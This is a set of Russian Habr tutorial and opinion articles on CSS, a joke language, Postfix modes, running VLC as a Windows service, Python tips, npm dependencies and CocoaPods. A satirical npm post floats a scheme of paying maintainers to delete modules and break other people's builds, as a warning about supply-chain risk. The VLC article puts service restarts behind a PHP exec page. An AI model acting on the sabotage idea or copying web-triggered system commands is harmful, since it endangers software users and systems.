Существует много CSS-свойств, о которых некоторые дизайнеры просто не знают. Или — знают, но забывают использовать эти свойства там, где они способны принести большую пользу. Некоторые из этих свойств могут помочь отказаться от использования JavaScript ради достижения некоего результата, некоторые позволяют экономить время за счёт написания меньших объёмов CSS-кода. Я, занимаясь фронтенд-разработкой, постоянно натыкаюсь на подобные свойства. Однажды я подумал о том, чтобы взять и составить список CSS-свойств, интересных, но используемых редко. Так и родилась эта статья.
Здесь я расскажу о некоторых CSS-свойствах, которые, хочется надеяться, покажутся вам достойными внимания. При разговоре о некоторых из них, не отличающихся идеальной браузерной поддержкой, я расскажу о том, как применять их, используя технологию прогрессивных улучшений. Это позволит вам спокойно пользоваться этими свойствами и не беспокоиться об их поддержке браузерами.
[](https://habr.com/ru/company/ruvds/blog/509704/)
Использование свойства place-items с CSS Grid
---------------------------------------------
*Пример использования свойства place-items*
Я узнал о данном приёме из [этого](https://twitter.com/bdc/status/901530956624015361) твита. Свойство `place-items` позволяет центрировать элемент по горизонтали и по вертикали, обходясь при этом минимальным объёмом CSS-кода.
Вот HTML-разметка, которая использовалась при формировании страницы с предыдущего рисунка:
```
CSS is awesome
--------------
Yes, this is a hero section made for fun.
[See more](#)
```
Вот код стиля:
```
.hero {
display: grid;
place-items: center;
}
```
Прежде чем углубляться в детали, полагаю, стоит упомянуть о том, что свойство `place-items` представляет собой сокращение, используемое для настройки свойств `justify-items` и `align-items`. Если бы это свойство не использовалось, то вышеприведённый CSS-код выглядел бы так:
```
.hero {
display: grid;
justify-items: center;
align-items: center;
}
```
Возможно, вас интересуют подробности о работе этого свойства. Позвольте мне о них рассказать. Когда используется свойство `place-items`, оно применяется к каждой ячейке сетки. Это означает, что оно выравнивает по центру содержимое всех ячеек. То есть, с его помощью можно стилизовать всё, что размещено в ячейках сетки. Для того чтобы это продемонстрировать, давайте рассмотрим стилизацию сетки с несколькими ячейками:
```
.hero {
display: grid;
grid-template-columns: 1fr 1fr;
place-items: center;
}
```
Использование подобного стиля приведёт к результату, показанному на следующем рисунке.
*Содержимое всех ячеек выровнено по центру*
Использование старого доброго свойства margin с CSS Flexbox
-----------------------------------------------------------
*Выравнивание элементов по центру при работе с Flexbox-макетом*
Использование конструкции `margin: auto` во Flexbox-макетах позволяет очень легко выравнивать элементы по центру, по горизонтали и вертикали.
Вот разметка:
```
```
Вот стиль:
```
.parent {
width: 300px;
height: 200px;
background: #ccc;
display: flex;
}
.child {
width: 50px;
height: 50px;
background: #000;
margin: auto;
}
```
Стилизация маркеров списка
--------------------------
*Стилизованные маркеры списка*
Для начала позвольте мне признаться в том, что я не знал о том, что маленькие кружочки, находящиеся рядом с каждым элементом маркированного списка, называются «маркерами». Прежде чем я узнал о существовании псевдоэлемента `::marker`, я настраивал эти «кружочки», сбрасывая стиль списка и пользуясь псевдоэлементами `::before` или `::after`. Но это совершенно непрактично и неправильно. Я имею в виду следующее:
```
ul {
list-style: none;
padding: 0;
}
li {
color: #222;
}
li::before {
content: "•";
color: #ccc;
margin-right: 0.5em;
}
```
Как видите, тут цвет элемента `-` задан как `#222`, а цвет псевдоэлемента `::before` — это `#ccc`. Если было бы нужно, чтобы у `-` и `::before` был бы один и тот же цвет, тогда, так как маркер наследует цвет `-`, в псевдоэлементе необходимости бы не было.
А вот как та же самая задача решается с помощью `::marker`:
```
li {
color: #222;
}
li::marker {
color: #ccc;
}
```
Как по мне, так этот подход гораздо проще и удобнее чем тот, где применялся псевдоэлемент `::before`.
Псевдоэлемент `::marker` [поддерживается](https://caniuse.com/#search=%3A%3Amarker) в Firefox 68+ и в Safari 11.1+. А в Chrome и в Edge 80+ для включения его поддержки нужно активировать соответствующий флаг.
Свойство text-align
-------------------
По мере роста популярности CSS Grid и CSS Flexbox некоторые разработчики, которые только начали использовать CSS, часто, для центровки и выравнивания контента, используют современные механизмы, а не старое свойство `text-align`. Но это свойство всё ещё совершенно работоспособно.
Использование `text-align: center` позволяет быстро и удобно выравнивать материалы страниц. Рассмотрим пример.
*Выравнивание содержимого верхней части страницы*
Содержимое раздела нужно выровнять по центру. Что использовать для создания макета этого раздела? Flexbox или Grid? На самом деле, эту задачу легко можно решить, всего лишь воспользовавшись свойством `text-align`.
А как у этого свойства с браузерной поддержкой? Предлагаю вам выяснить это самостоятельно.
Значение inline-flex свойства display
-------------------------------------
*Использование значения inline-flex свойства display*
Вам когда-нибудь нужно было вывести несколько значков во Flexbox-контейнере, который является строчным (inline) элементом, сделав так, чтобы каждый из этих значков был бы Flexbox-элементом? Для решения этой задачи и предназначено значение `inline-flex` свойства `display`.
Вот разметка, описывающая набор элементов:
```
```
Вот код стилизации этих элементов:
```
.badge {
display: inline-flex; /* здесь творятся чудеса */
justify-content: center;
align-items: center;
}
```
В следующий раз, когда вам понадобится строчный элемент с функционалом Flexbox-макета, не забудьте воспользоваться `inline-flex`. Это очень удобно.
Свойство column-rule
--------------------
*Применение свойства column-rule*
Вёрстка текста с применением колонок — это особый метод создания макетов страниц. При его использовании элементы распределяются по колонкам. Обычно этот приём используется для выравнивания текстов, размещаемых в элементах . Но у многоколоночной вёрстки есть одна возможность, которой пользуются гораздо реже, чем стоило бы. Речь идёт о возможности добавления разделителей колонок. Я узнал об этом из [данной](https://www.matuzo.at/blog/heres-what-i-didnt-know-about-color/) статьи.
```
p {
columns: 3;
column-rule: solid 2px #222;
}
```
Имя свойства, `column-rule`, как кажется, не вполне точно отражает его предназначение. Логичнее было бы назвать его, например, «border-right». Это свойство очень хорошо поддерживается всеми актуальными браузерами (IE 10+, Firefox 3.5+, Chrome 4+, Safari 3.1+, Edge 12+).
Свойство object-fit
-------------------
*Применение свойства object-fit*
CSS-свойство `object-fit` — это прямо-таки «волшебная палочка» веб-дизайнера. Когда я о нём узнал, я, используя его, стал работать по-новому, что серьёзно облегчило мне жизнь. Например, недавно я работал над разделом одного сайта, в котором выводился набор логотипов. Подобные разделы иногда довольно сложно создавать из-за того, что логотипы имеют разные размеры. Некоторые из них вытянуты по горизонтали, некоторые — по вертикали.
Используя свойство `object-fit: contain` я смог управлять свойствами `width` и `height` логотипов, что позволило мне размещать логотипы в областях с заранее заданной шириной и высотой.
Вот разметка:
```
* [](#)
*
```
Вот стиль:
```
img {
width: 130px;
height: 75px;
object-fit: contain;
}
```
Задавая свойства `width` и `height` элемента `![]()`, мы можем управлять той областью, в которой будет размещён логотип. Это очень удобно. А ещё лучше то, что мы можем поместить вышеприведённый код в директиву `@supports`, что позволит избежать растягивания изображений в браузерах, не поддерживающих `object-fit`.
```
@supports (object-fit: contain) {
img {
object-fit: contain;
height: 75px;
}
}
```
**Знаете ли вы о каких-нибудь интересных, но малоизвестных CSS-свойствах?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=csssvoistva) | https://habr.com/ru/post/509704/ | null | ru | null |
# FiM++
Однажды на лекции друг рассказал мне, что существует язык программирования пони, (основанный на сериале, конечно). Он сказал, что видел его на reddit, но даже после продолжительного поиска я смог найти только пустой репозиторий на Google Code без деталей реализации. Я был очень этим разочарован, но только на несколько минут, пока не понял, что могу написать реализацию этого языка сам. Возможно, она не будет хороша или вообще используема в том смысле, что не каждый сможет написать к ней интерпретатор, но мне хотелось проверить свои умения. А ещё мне нравятся затянувшиеся шутки.
Итак, я представляю вашему вниманию довольно сырую версию синтаксиса того, что я называю FiM++.
FiM++ является динамически типизированным, интерпретируемым, объектно ориентированным и полным по Тьюрингу языком для написании писем Принцессе Селестии от лица любой из пони (Я использовал Twilight для моей спецификации). Функции в языке форматируются как параграфы письма. Это сделано для того, чтобы код мог легко читаться и быть максимально похожим на письмо. Каждое такое письмо является классом, так что каждая программа может состоять из нескольких писем, если пользователь того захочет. Однако, минимально интерпретируемая единица — это класс, почти как в Java. Язык не поддерживает библиотеки, так как мы посылаем письма, а значит код должен быть максимально лёгким. Нужные типы данных могут определяться пользователем.
Каждый класс начинается с заголовка, который всегда одинаков:
```
Dear Princess Celestia: Letter One
```
Операторные скобки для частей кода были убраны, так как они нарушают формат письма, но могут быть использованы при желании пользователя.Они не будут упоминаться в дальнейшем, вместо них используются отступы, почти как в Python. «Princess Celestia» является зарезервированным ключевым словом для создания класса и поэтому всегда должна быть первым получателем. 'Letter One' — это название класса.
Интерфейсы могут быть добавлены в первую строку заголовка класса через запятую:
```
Dear Princess Celestia, and Princess Luna, and Princess Cadance: Letter One
```
Каждый интерфейс определяется параграфами (функциями), которые должны находиться внутри класса. Вызывается обычный класс так:
```
I wrote you another letter! It's titled Letter Two.
```
'Letter Two' теперь иллюстрируемый объект и может быть использован как таковой; например, он может быть использован для переноса функции из нового класса в текущий. В нём так же может быть объявлен объект для дальнейшего использования в коде:
```
I wrote you another letter!
// code
// code
Oh, about that other letter. It's titled Letter Two!
```
Функция «main» выглядит так:
```
Today I learned
// code
// code
Your faithful student, Twilight Sparkle.
```
Она никогда не принимает аргументов, таких как, например, аргументы командной строки. Возврат значения состоит из строки «Your faithful student, » и аргумента, коим является имя. Возврат значения может быть не нужен, в зависимости от интерпретатора.
Любая другая функция выглядит так:
```
I learned about ducks
// code
// code
```
Она вызывается по имени, в этом случае 'friendship'. Возврат значений не является строго необходимым и может быть проигнорирован. Конечно же функция может быть вызвана с параметрами:
```
I learned about friendship with Spike and Rarity
// code
// code
```
«Spike» и «Rarity» теперь могут быть использованы внутри функции. Все аргументы передаются магическим образом (так, на всякий случай).
Ключевое слово «I» работает как оператор «self» в большинстве языков. Однако он ссылается не на экземпляр класса, а на писателя письма. Он может быть определён где угодно.
Присваивание переменный выглядит так:
```
Did you know that Spike is a dragon?
```
В этом примере мы присваиваем переменной «Spike» строковое значение «dragon». У Spike также могло бы быть любое другое значение, а точный тип данных определяется во время выполнения программы.
Несмотря на то, что язык динамически типизирован, определённые проверки всё равно выполняются при операциях с двумя переменными. Если кто-то напишет что-то вроде «Pinkie Pie идёт на свидание с числом», то интерпретатор должен будет выдать исключение, в этом случае — RidiculousException.
Циклы в FiM++:
```
I did this 100 times…
// code
// code
```
Этого должно быть достаточно для того, чтобы написать интерпретатор данного языка. И ещё кое-что: зарезервированное ключевое слово «friendship» всегда должно интерпретироваться как «magic», иначе вы рискуете нарушить основы правила Вселенной, в которой находится Эквестрия.
##### Hello world
```
Dear Princess Celestia: Hello World!
Today I learned how to say Hello World!
I said “Hello World”!
That’s all about how to say Hello World!
Your faithful student, Twilight Sparkle.
```
##### Ссылки
[Документ, в котором описана текущая спецификация языка](https://docs.google.com/document/d/1gU-ZROmZu0Xitw_pfC1ktCDvJH5rM85TxxQf5pg_xmg/preview?sle=true#)
[Простенький JavaScript интерпретатор](https://scanish.draco.uberspace.de/fim/)
[Пример кода: 99 Jugs of Cider](http://deftcrow.deviantart.com/art/FiM-Programming-Hello-World-99-Jugs-of-Cider-330736334) | https://habr.com/ru/post/155131/ | null | ru | null |
# Режимы работы почтовых серверов
При установке Postfix на Debian-based дистрибутивах запускается псевдографический интерфейс с набором шаблонов для установки. Эти шаблоны нацелены под различные режимы работы почтового сервера, которые зависят от того, будет ли почтовый сервер принимать почту, пересылать её и различные вариации этих двух режимов. Но это лишь шаблоны, которые легко изменить после установки сервера. И хотя в качестве примера я привожу настройку Postfix на Debian, эти режимы универсальны для всех почтовых серверов.
**Видео**
Previous < [Как работает электронная почта](https://habr.com/ru/post/494788/)
Next > [Про порты и шифрование в почтовых серверах](https://habr.com/ru/post/495256/)
**Опция «No configuration»**
Первая опция в списке – No configuration — при выборе которой почтовый сервер не создаст основной файл конфигурации, что удобно, когда у нас есть свой готовый конфиг файл.
Если вы хотите перезапустить скрипт установки, нужна команда:
```
sudo dpkg-reconfigure postfix
```
**Опция «Internet Site»**
Второй режим – Internet Site – это шаблон для стандартного почтового сервера, который будет принимать почту и отправлять её напрямую, без посредников. Давайте пройдёмся по опциям настройки.
Во первых, нам нужно указать имя почты – то есть домен для почтовых адресов, который указывается после собачки. По умолчанию, postfix использует пользователей в системе в качестве пользователей почтового сервера. Таким образом, если у вас в системе есть пользователь user, то он сможет получать и отправлять почту на user@example.org
В целях безопасности, не рекомендуется использовать учетную запись root для работы с почтой, поэтому нам предлагается указать пользователя, кому будет пересылаться вся почта, приходящая на адреса postmaster, root и других системных пользователей. Зачастую на эти адреса отправляют информацию различные приложения в системе, такие как планировщик задач cron.
Дальше установщик просит нас указать те домены, на которые наш почтовый сервер будет принимать почту. Здесь, помимо нашего основного адреса домена, также есть записи localhost и различные вариации хостнейма. В основном это нужно для различных внутренних сервисов, которые посылают уведомления. Также, как вариант, некоторые сервисы отправляют на полный адрес вашего почтового сервера определённые уведомления, допустим, то что ваш почтовый сервер был занесён в спам листы, как пример, на адрес postmaster@mail.example.org.
Теперь вопрос про синхронные обновления. Данный вопрос больше относится к нагруженным почтовым сервисам и говорит о следующем. Если мы включаем синхронные обновления, почтовый сервер будет убеждаться в записи на диск сообщения при каждом отправлении и получении сообщения. Это снижает производительность работы почтового сервера, но если сервер внезапно выключится при получении или отправке почты, не будет потерянных сообщений. Но если мы используем журналируемую файловую систему, такую как ext3 или ext4, то наша система не боится внезапного выключения.
Это связано с тем, что в журналируемой файловой системе все изменения в файловой системе предварительно записываются в специальный журнал, который применяет эти изменения, а затем удаляет из журнала.
Если в момент записи у нас внезапно выключился сервер, то при включении файловая система проверит журнал, увидит незавершенные изменения и запишет их на диск. Поэтому, если вы используете журналируемую файловую систему, смело нажимайте No.
Теперь нам предлагают указать те сети, для которых postfix будет выступать в роли relay хоста. В такой роли почтовый сервер не только принимает почту на свой домен, но и может перенаправлять сообщения на другие почтовые сервера. Допустим, вы можете отправить сообщение на Gmail, указав в качестве исходящего почтового сервера не smtp.gmail.com, а mail.examle.org, тогда ваш почтовый сервер сам позаботится о доставке вашего сообщения на smtp.gmail.com. Об этом мы детальнее поговорим чуть позже, когда будем обсуждать другие шаблоны. А пока, если вы не планируете использовать ваш сервер в качестве релей хоста, то можете оставить в поле только локалхост.
Тут всё просто – дефолтный максимальный размер почтового ящика пользователя, в байтах. Если стоит 0 – без ограничений.
Дальше кое-что поинтереснее – пользовательские алиасы. Вообще, алиасы в почтовых серверах используются, чтобы один пользователь мог получать почту на несколько адресов, при этом не создавая отдельных пользователей, ящиков и т.п. Скажем, если вы хотите, чтобы все сообщения на it@example.org приходили пользователю user@example.org, то для этого используется алиас. Также с помощью алиасов привязываются различные домены к одному пользователю. Такие алиасы может создать администратор почтового сервера. Но, администратор может позволить пользователям создавать нечто вроде алиасов, чтобы пользователям легче было управлять своей почтой. Но эти пользовательские алиасы не заменяют весь адрес, а добавляются перед собачкой, предварительно использовав специальный символ, допустим, плюс. Как пример, эту возможность также предоставляет gmail:
К примеру, user+work@example.org, либо user+social@example.org. Эти адреса пользователь может указывать на различных ресурсах при регистрации, что позволит ему легче сортировать письма и управлять своей почтой. Если вам этот функционал не нужен, можно оставить это поле пустым.
Дальше следует выбрать, будет ли наш почтовый сервер работать с ipv4, ipv6 или с обоими протоколами.
На этом настройка с шаблоном Intenet Site готова, теоретически можно приступать к работе.
**Опция «Internet with smarthost»**
Третья опция среди режимов работы почтового сервера – internet with smarthost. Это шаблон конфигурации для сервера, который будет принимать почту напрямую, или с помощью всяких утилит типа fetchmail, но отправлять почту на внешние адреса сервер будет с помощью других почтовых серверов – релей хостов, которые также называются смартхостами. Это можно использовать в различных случаях, допустим, если IP адресс вашего сервера попал в блэклисты, либо чтобы пропускать исходящую корпоративную почту через сервис предотвращения утечек и т.п.
В целом все опции в настройке такого режима выглядят также, за исключением указания relay сервера. Смартхост можно указывать в квадратных скобках и без, зависимо от того, нужно ли отправлять сообщения сразу или предварительно сделав MX запрос, что позволяет балансировать трафик между несколькими смартхостами.
В шаблоне мы можем указать дефолтный смартхост, а в дальнейшем можем настроить различные релеи зависимо от домена получателя.
**Опция «Satellite System»**
Еще один режим работы почтового сервера – Satellite system. В таком режиме почтовый сервер не принимает почту, а только перенаправляет, то есть, работает исключительно как relay host. Из примера ранее, это может быть полезно в больших организациях для внутренних сервисов, а также для фильтрации почты на спам, вирусы и т.п. В таком случае, конфигурация практически идентична ранее упомянутым опциям, но в mydestionations не следует оставлять домены, чтобы релей хост все перенаправлял на нужные почтовые сервера.
**Опция «Local only»**
И последний шаблон – Local only – когда наш почтовый сервер не будет отправлять и принимать почту с других серверов.
Всё, о чём мы говорили ранее – лишь шаблоны режимов работ почтового сервиса. Юзкейсы бывают разные и зачастую таких шаблонных настроек бывает недостаточно, и многие моменты нужно перенастраивать под свои задачи. | https://habr.com/ru/post/494906/ | null | ru | null |
# VLC как служба Windows
После долгого блуждания в гугло-мире я все же нашел решение своей проблемы. Проблема состояла в следующем — компания (вернее непосредственно начальство) узнала о существовании IP-камер, и в срочном порядке приняла решение купить и установить их в офис. Выбор пал на D-link DCS 2102-2121 так как больше ничего не нашли (дорогущие axis — одна стоила как 3 таких). Все бы не плохо, но было одно условие вывести картинку с них в великую сеть.
И так какие проблемы встают перед нами. Поднять веб-сервер (благо ip «белого цвета»), выбрать сервер для вещания потокового видео и перекодировки его в более менее пригодный формат, собственно обслуживание и наблюдение за системой. Все довольно просто в рамках давно изложенных материалов. По умолчанию сервак у нас крутится на Windows Server 2003 sp2 (а потому, что во фря так и не получилось vlc запустить как надо).
Сначала выбираем сервер для вещания видео. Был выбран VLC media player как наиболее популярное средство организации подобных вещей. Следуя довольно неплохому оконному интерфейсу мы видим, что настроить vlc на трансляцию в http довольно просто.
Тут в первом окне выбираем источник, жмем поток, во втором выбираем путь назначения http порт вещания и имя файла которое будем запрашивать с хоста.
Обратите внимание на пункт параметры в нем описаны все параметры которые вы только, что выбрали. То есть если сделать так
`vlc.exe rtsp://192.168.0.40:554/play2.sdp :sout=#transcode{vcodec=h264,vb=800,fps=15,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{dst=:8081/1.flv} :no-sout-rtp-sap :no-sout-standard-sap :ttl=1 :sout-keep`
То мы получим то же самое только уже настроенное.
Теперь ставим apache+php в него flowplayer настраиваем его на http канал и вуаля, вот оно наше потоковое вещание. Подробнее про это можно почитать и в других статьях. Поищите =), найдете.
Но вот не задача, сервак ребутнулся и все наши окна vlc полетели в пух и прах. Блин! Тут приходит одна умная мысль – автозагрузка, но мб можно еще круче? Почему бы не заставить работать все еще круче, а вернее установим службу с vlc. Как это сделать? Ужас, я весь нет облазил (русскоязычный конечно), пока по кусочкам не понял, что тут нет ничего сложного, вообще vlc настолько многогранен, что остается только сидеть и удивлятся чего только тут нельзя! Так вот vlc с заданными нами параметрами потокового вещания можно запустить так:
`start /D "C:\Program Files\VideoLAN\VLC\" vlc.exe -I ntservice --ntservice-install --ntservice-name=VLC --ntservice-extraintf=dummy --ntservice-options="rtsp://192.168.0.40:554/play2.sdp --rtsp-caching=1200 –loop
--sout=#transcode{vcodec=h264,vb=256,fps=10,scale=0,acodec=mp4a,ab=64,channels=1,samplerate=22050}:http{dst=:8081/1.flv} --no-sout-rtp-sap --no-sout-standard-sap --ttl=1 --sout-keep"`
Тут я поясню некоторые параметры. –I означает запуск vlc с интерфейсом не по умолчанию, они бывают разными такие как http и другие если надо вам дорога к документации vlc. Как видите строка --ntservice-install означает установить службу vlc, --ntservice-name=VLC а это ее имя, можно написать конечно иное например нужно чтобы создавать разные службы работающие одновременно, ничего не напишите по умолчанию назовется VLC media player. Чтобы службу удалить пишем
`start /D "C:\Program Files\VideoLAN\VLC\" vlc.exe -I ntservice --ntservice-uninstall --ntservice-name=VLC`
Теперь параметр ntservice-extraintf=dummy означает в каком интерфейсе будет работать служба. Dummy означает, что его нет, если указать http то создастся http интерфейс, но о нем опять таки читайте в документации. --ntservice-options="" а вот здесь в кавычках как вы уже поняли мы указываем с какими параметрами запускаться нашей службе.
Отлично теперь все работает как часы, но и тут на горизонте вырисовывается проблема, камеры хоть и в Loop режиме, но периодически все равно отпадают и надо идти и ребутить нашу новосозданую службу. Почему бы великому PHP не назначить обработку этого досадного события? Создаем страничку со следующим содержимым:
`php exec("net stop vlc");exec("net start vlc");?`
Ну вот теpперь если камера «умерла» ее и мой директор может сам ребутнуть, значит утром спим дольше и крепче. | https://habr.com/ru/post/115020/ | null | ru | null |
# Python Tips, Tricks, and Hacks (часть 4, заключительная)
Это заключительная часть перевода статьи. Декораторы, switch для функций, некоторая информация о классах.
#### 5. Функции
##### 5.4 Декораторы
Декораторы функций довольно просты, но если вы не видели их раньше, вам будет трудно догадаться, как они работают. Это неочевидно, в отличие от большей части синтаксиса Python. Декоратор — это функция, оборачивающая другую функцию: сначала создается главная функция, затем она передается декоратору. Декоратор возвращает новую функцию, которая используется вместо первоначальной в остальной части программы.
Не будем больше задерживаться на этом. Вот синтаксис:
```
def decorator1(func):
return lambda: func() + 1
def decorator2(func):
def print_func():
print func()
return print_func
@decorator2
@decorator1
def function():
return 41
function()
# печатает "42"
```
В этом примере function передается в decorator1, а он возвращает функцию, которая вызывает function и возвращает число, большее ее результата на единицу. Эта функция передается в decorator2, который ее вызывает и печатает результат. Так-то.
Следующий пример делает абсолютно то же, но более многословно:
```
def decorator1(func):
return lambda: func() + 1
def decorator2(func):
def print_func():
print func()
return print_func
def function():
return 41
function = decorator2(decorator1(function))
function()
# печатает "42"
```
Обычно декораторы используют для добавления новых возможностей вашим функциям (см. создание методов класса). Еще чаще они не используются совсем. Но чтобы разбираться в коде, вам нужно знать, что это такое.
Чтобы узнать больше о декораторах, обратитесь к статье автора [«Python Decorators Don't Have to be (that) Scary»](http://www.siafoo.net/article/68), [статье «Python Decorators» на Dr. Dobbs](http://www.ddj.com/web-development/184406073) или [разделу «Function Definitions» документации](http://docs.python.org/ref/function.html).
##### 5.5 Запуск одной из нескольких функций при помощи словаря
Не хватает оператора switch? Вы, возможно, знаете, что в Python нет эквивалента switch для функций (разве что многократное elif). Но вы можете воспроизвести его поведение, создав словарь функций. Например, пусть вы обрабатываете нажатия клавиш и у вас есть следующие функции:
```
def key_1_pressed():
print 'Нажата клавиша 1'
def key_2_pressed():
print 'Нажата клавиша 2'
def key_3_pressed():
print 'Нажата клавиша 3'
def unknown_key_pressed():
print 'Нажата неизвестная клавиша'
```
Обычный метод — использование elif:
```
keycode = 2
if keycode == 1:
key_1_pressed()
elif keycode == 2:
key_2_pressed()
elif number == 3:
key_3_pressed()
else:
unknown_key_pressed()
# выводит "Нажата клавиша 2"
```
Но вы также можете положить все функции в словарь, ключами которого будут значения соответствующего keycode. Вы даже можете обработать случай получения неизвестного keycode:
```
keycode = 2
functions = {1: key_1_pressed, 2: key_2_pressed, 3: key_3_pressed}
functions.get(keycode, unknown_key_pressed)()
```
Очевидно, этот код намного понятней предыдущего (особенно при большом числе функций).
#### 6. Классы
##### 6.1 Передача self вручную
Метод — это обычная функция: если он вызывается у экземпляра объекта, этот экземпляр передается в качестве первого аргумента (обычно его называют self). Если по какой-то причине вы вызываете метод не у экземпляра, вы всегда можете первым аргументом передать экземпляр вручную. Например:
```
class Class:
def a_method(self):
print 'Привет, метод!'
instance = Class()
instance.a_method()
# печатает 'Привет, метод!', что неудивительно. Вы также можете сделать:
Class.a_method(instance)
# печатает 'Привет, метод!'
```
Изнутри эти выражения абсолютно одинаковы.
##### 6.2 Проверка на существование метода или свойства
Хотите узнать, есть ли у объекта тот или иной метод или свойство? Вы можете использовать встроенную функцию hasattr, которая принимает объект и имя атрибута.
```
class Class:
answer = 42
hasattr(Class, 'answer')
# возвращает True
hasattr(Class, 'question')
# возвращает False
```
Вы можете также проверить существование атрибута и получить его с помощью встроенной функции getattr, которая также принимает объект и имя атрибута. Третий аргумент необязательный и устанавливает значение по умолчанию. Если атрибут не найден и третий аргумент не задан, бросается исключение AttributeError.
```
class Class:
answer = 42
getattr(Class, 'answer')
# возвращает 42
getattr(Class, 'question', 'Сколько будет 6x9?')
# возвращает "Сколько будет 6x9?"
getattr(Class, 'question')
# бросает исключение AttributeError
```
Не используйте getattr и hasattr слишком часто. Если вы написали класс так, что необходимо проверять существование свойств, то вы всё сделали неправильно. Свойство должно существовать всегда, а если оно не используется, можно установить его в None. Эти функции используются в основном для поддержки полиморфизма, т. е. возможности использовать в вашем коде любых типов объектов.
##### 6.3 Изменение класса после создания
Вы можете добавлять, изменять и удалять свойства и методы класса после его создания, даже после того, как будут созданы экземпляры этого класса. Для этого достаточно использовать запись Class.attribute. Изменения применятся ко всем экземплярам класса, вне зависимости от того, когда они были созданы.
```
class Class:
def method(self):
print 'Привет, Хабр'
instance = Class()
instance.method()
# печатает "Привет, Хабр"
def new_method(self):
print 'Хабр еще торт!'
Class.method = new_method
instance.method()
# печатает "Хабр еще торт!"
```
Фантастика. Но не увлекайтесь изменением существующих методов, это дурной тон. Кроме того, это может нарушить работу методов, использующих изменяемый класс. С другой стороны, добавление методов менее опасно.
##### 6.4 Создание методов класса
Иногда при написании класса возникает потребность в функции, вызываемой от класса, а не его экземпляра. Иногда этот метод создает новые экземпляры, иногда он не зависит от индивидуальных свойств экземпляров. В Python есть два способа это сделать, оба действуют через декораторы. Ваш выбор зависит от того, нужно ли вам знать, какой класс вызвал метод.
Метод класса (class method) принимает вызвавший его класс первым аргументом (аналогично обычные методы получают первым аргументом соответствующий экземпляр). Этому методу известно, запущен он от этого же класса или от подкласса.
Статический метод (static method) не имеет никаком информации о том, откуда он запущен. Это обычная функция, просто в другой области видимости.
Как статические методы, так и методы класса могут быть вызваны непосредственно из класса:
```
class Class:
@classmethod
def a_class_method(cls):
print 'Вызван из класса %s' % cls
@staticmethod
def a_static_method():
print 'Понятия не имею, откуда вызван'
def an_instance_method(self):
print 'Вызван из экземпляра %s' % self
instance = Class()
Class.a_class_method()
instance.a_class_method()
# оба печатают "Вызван из класса __main__.Class"
Class.a_static_method()
instance.a_static_method()
# оба печатают "Понятия не имею, откуда вызван"
Class.an_instance_method()
# бросает исключение TypeError
instance.an_instance_method()
# печатает что-то вроде "Вызван из экземпляра <__main__.Class instance at 0x2e80d0>"
```
#### Заключение
Нужно больше вдохняющих идей? Для начала неплохо посмотреть страницу [Python Built-in Functions](http://docs.python.org/lib/built-in-funcs.html). Там довольно много хороших функций, о которых вы, возможно, никогда не слышали.
Если у вас есть полезные уловки или вещи, которые следует знать, автор предлагает добавить их в [свою статью](http://www.siafoo.net/article/52).
Счастливого программирования.
*С другими статьями автора, а также с источниками информации вы можете ознакомиться [здесь](http://www.siafoo.net/article/52).*
[Статья целиком в PDF](http://idzaaus.org/static/files/articles/Python_Tips,_Tricks,_and%20Hacks_(rus).pdf) | https://habr.com/ru/post/95721/ | null | ru | null |
# Я готов платить деньги тем, кто удалит свой модуль npm
Культура npm создает серьезную опасность для защиты программного обеспечения в мировых масштабах. Это крайне безответственно – позволять деревьям зависимостей разрастаться до таких размеров, что в них входят тысячи зависимостей, связывающих вас с производителями, о которых вы никогда не слышали и которых едва ли могли критически оценить. И всё это служит для разрешения простых задач, с которыми и без этого можно было бы справиться в два счета, или, если всё как следует обдумать, вообще обойтись без них.
Нужно что-то придумать, чтобы остановить это безумие, но что? У меня есть идея. Помните историю с left-pad? Неплохо бы устраивать такое почаще.
Предлагаю вознаграждение настоящими деньгами всем, кто удалит свой модуль npm. Точная сумма будет рассчитываться по приведенной формуле; она предполагает, что модули с большим количеством скачиваний и малым числом строк кода будут оцениваться выше. Есть еще одно условие: модуль вы должны удалить без предупреждения, чтобы все, кто от него зависят, просто проснулись и обнаружили поломанный билд.
Давайте рассмотрим [isArray](https://www.npmjs.com/package/isarray) в качестве примера. Там всего четыре строки кода.
`var toString = {}.toString;
module.exports = Array.isArray || function (arr) {
return toString.call(arr) === '[object Array]';
};`
Если учесть, что число скачиваний составляет 51 миллион, получается итоговая сумма в 710 $.
Чтобы избежать мошенничества, согласовывать каждое удаление мы должны заранее. Я ознакомлюсь с вашим модулем, чтобы убедиться, что он соответствует требованиям и проверить, нет ли там чего подозрительного – например, накрутки в скачиваниях или минификации в коде. Удалять модуль можно только после того, как мы обо всем договоримся, иначе я уже не смогу узнать число скачиваний и строк.
Возможно, я попрошу вас немного подождать с удалением, чтобы между исчезновениями модулей и сопутствующими вспышками хаоса проходило по несколько недель – это нужно, чтобы добиться максимального эффекта. И наконец, сумма выплат в каждом случае будет составлять не более 1000 $, а то жить мне тоже на что-то надо.
Ну что, по рукам? Подать заявку можно [здесь](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Ну ладно, шутки в сторону – это несерьезный пост. Я не собираюсь платить вам деньги за удаление модулей npm и погружать экосистему Node в мрачную эпоху смуты тоже не планирую. Тем более что это все равно не сработало бы.
Но я надеюсь, что сама мысль породила страх в сердцах многих разработчиков на Node, которые читали этот текст, а также представителей тех сообществ, которые последовали их примеру. Что вы будете делать, если одна из зависимостей исчезнет? Что если кто-нибудь изучит минифицированный код у вас на сайте, откопает какую-нибудь богом забытую зависимость и подкупит людей, которые занимаются поддержкой?
Большинство разработчиков на Node не имеют представления, что творится у них в зависимостях. Многие из этих деревьев содержат тысячи элементов и никогда не проходили ревизию. Это безответственный подход и с этим нужно что-то делать.
В большей части моих проектов менее ста зависимостей; немало и таких, где их меньше десяти. В некоторых зависимостей нет вообще. Это не случайность. Как ни печально, платить приходится за всё, поэтому введение зависимости – это серьезное решение, которое обсуждается всей командой. Новая зависимость подвергается проверке, ее здоровье и прогнозы на будущее получают оценку, и в дальнейшем разработчики не жалеют времени на то, чтобы повторять этот процесс и при необходимости менять курс. | https://habr.com/ru/post/590871/ | null | ru | null |
# Основы использования Cocoapods в разработке приложений под iOS
CocoaPods — это очень мощный инструмент, имеющий статус must have для любого iOS Developer'а. С помощью него мы можем легко, быстро и просто подключать различные вкусные тулзы, утилиты и библиотеки, которые значительно облегчают нам жизнь при разработке приложений. Но всяким инструментом надо уметь пользоваться и CocoaPods не исключение.
